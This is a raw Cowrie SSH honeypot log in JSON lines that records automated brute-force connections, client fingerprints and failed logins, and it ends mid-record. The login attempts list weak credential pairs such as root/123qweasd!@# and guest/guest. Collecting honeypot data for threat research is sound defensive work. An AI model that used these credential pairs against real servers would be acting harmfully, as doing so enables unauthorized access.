{"eventid":"cowrie.session.connect","src_ip":"172.174.5.146","src_port":63908,"dst_ip":"159.203.135.109","dst_port":22,"session":"5825010321eb","protocol":"ssh","message":"New connection: 172.174.5.146:63908 (159.203.135.109:22) [session: 5825010321eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:23.030350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:23.037715Z","src_ip":"172.174.5.146","session":"5825010321eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:23.047516Z","src_ip":"172.174.5.146","session":"5825010321eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasd!@#","message":"login attempt [root/123qweasd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:23.124038Z","src_ip":"172.174.5.146","session":"5825010321eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:24.137029Z","src_ip":"172.174.5.146","session":"5825010321eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.73.80","src_port":47326,"dst_ip":"10.17.0.5","dst_port":22,"session":"444968c1f23b","protocol":"ssh","message":"New connection: 14.103.73.80:47326 (10.17.0.5:22) [session: 444968c1f23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:25.374773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:25.379282Z","src_ip":"14.103.73.80","session":"444968c1f23b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:25.588697Z","src_ip":"14.103.73.80","session":"444968c1f23b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"test123","message":"login attempt [testftp/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:26.470503Z","src_ip":"14.103.73.80","session":"444968c1f23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45200,"dst_ip":"159.203.135.109","dst_port":22,"session":"85ced04feb2b","protocol":"ssh","message":"New connection: 160.187.174.22:45200 (159.203.135.109:22) [session: 85ced04feb2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:41.021507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:41.036715Z","src_ip":"160.187.174.22","session":"85ced04feb2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:41.261760Z","src_ip":"160.187.174.22","session":"85ced04feb2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:42.187123Z","src_ip":"160.187.174.22","session":"85ced04feb2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:43.424019Z","src_ip":"160.187.174.22","session":"85ced04feb2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":53182,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e99cb5ff8e6","protocol":"ssh","message":"New connection: 23.88.42.180:53182 (10.17.0.5:22) [session: 4e99cb5ff8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:49.837708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:49.842869Z","src_ip":"23.88.42.180","session":"4e99cb5ff8e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:49.938975Z","src_ip":"23.88.42.180","session":"4e99cb5ff8e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agix","password":"agix123","message":"login attempt [agix/agix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:50.229578Z","src_ip":"23.88.42.180","session":"4e99cb5ff8e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:21:51.328562Z","src_ip":"23.88.42.180","session":"4e99cb5ff8e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42000,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ca13c760ecc","protocol":"ssh","message":"New connection: 194.59.206.2:42000 (159.203.135.109:22) [session: 6ca13c760ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:01.219777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:01.225216Z","src_ip":"194.59.206.2","session":"6ca13c760ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:01.318756Z","src_ip":"194.59.206.2","session":"6ca13c760ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:01.417707Z","src_ip":"194.59.206.2","session":"6ca13c760ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":34904,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa84c681c0ea","protocol":"ssh","message":"New connection: 209.99.190.113:34904 (10.17.0.5:22) [session: aa84c681c0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:05.666926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:05.671750Z","src_ip":"209.99.190.113","session":"aa84c681c0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:05.770340Z","src_ip":"209.99.190.113","session":"aa84c681c0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa!","message":"login attempt [root/123456aa!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:06.198807Z","src_ip":"209.99.190.113","session":"aa84c681c0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.788395404815674,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:06.610221Z","src_ip":"170.64.224.25","session":"d230bf5a9851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:07.300635Z","src_ip":"209.99.190.113","session":"aa84c681c0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50722,"dst_ip":"159.203.135.109","dst_port":22,"session":"53cd8fb99a38","protocol":"ssh","message":"New connection: 160.187.174.22:50722 (159.203.135.109:22) [session: 53cd8fb99a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:07.949855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:07.954622Z","src_ip":"160.187.174.22","session":"53cd8fb99a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":46024,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a43d5d368a","protocol":"ssh","message":"New connection: 14.177.234.24:46024 (10.17.0.5:22) [session: 93a43d5d368a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:08.046551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:08.050977Z","src_ip":"14.177.234.24","session":"93a43d5d368a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:08.193083Z","src_ip":"160.187.174.22","session":"53cd8fb99a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:08.283505Z","src_ip":"14.177.234.24","session":"93a43d5d368a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:08.899672Z","src_ip":"160.187.174.22","session":"53cd8fb99a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWErty123!@#","message":"login attempt [root/QWErty123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:09.237875Z","src_ip":"14.177.234.24","session":"93a43d5d368a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:10.137472Z","src_ip":"160.187.174.22","session":"53cd8fb99a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:10.470775Z","src_ip":"14.177.234.24","session":"93a43d5d368a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":47196,"dst_ip":"10.17.0.5","dst_port":22,"session":"35620faa048b","protocol":"ssh","message":"New connection: 91.92.40.4:47196 (10.17.0.5:22) [session: 35620faa048b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.148667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.226428Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc